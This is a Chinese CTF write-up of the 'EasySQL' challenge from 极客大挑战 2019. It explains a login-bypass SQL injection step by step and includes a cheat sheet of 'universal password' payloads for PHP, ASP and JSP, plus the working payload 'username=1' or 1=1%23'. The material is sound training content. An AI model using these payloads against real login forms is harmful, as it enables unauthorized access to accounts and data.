[极客大挑战 2019]EasySQL
这是一道sql注入的题
进入题目 两个输入框 用户名,密码
猜测弱密码,admin passwd 不行
输入’报错 可以注入
这里可以用万能密码注入。下面这组是原来收集的备忘录,保留下来方便以后查;不同语言、数据库和拼接方式是否适用要结合实际代码判断。
php
'or 1=1/<br/>"or "a"="a<br/>"or 1=1--<br/>"or"="<br/>"or"="a'='a<br/>"or1=1--<br/>"or=or"<br/>''or'='or'<br/>') or ('a'='a<br/>'.).or.('.a.'='.a<br/>'or 1=1<br/>'or 1=1--<br/>'or 1=1/<br/>'or"="a'='a<br/>'or' '1'='1'<br/>'or''='<br/>'or''=''or''='<br/>'or'='1'<br/>'or'='or'<br/>'or.'a.'='a<br/>'or1=1--<br/>1'or'1'='1<br/>a'or' 1=1--<br/>a'or'1=1--<br/>or 'a'='a'<br/>or 1=1--<br/>or1=1--
asp
"or "a"="a<br/>'.).or.('.a.'='.a <br/>or 1=1--<br/>'or 1=1--<br/>a'or' 1=1--<br/>"or 1=1--<br/>'or.'a.'='a<br/>"or"="a'='a<br/>'or''='<br/>or'='or'
jsp
1'or'1'='1<br/>admin' or 1=1/*
这道题实际只需要构造一个恒真条件:闭合原 SQL 的引号,让 WHERE 条件恒真,再用注释截掉后续内容。
猜测 SQL 语句类似
username=’username’ and passwd=’password’
构造payload
username=admin' or '1'='1&password=admin' or '1'='1
check.php?username=1' or 1=1%23&password=1
这里的单引号用于闭合原查询中的字符串,%23 是 URL 编码后的 #,在 MySQL 中用于注释后续 SQL。
成功
评论将在接近此处时加载,也可点击立即加载。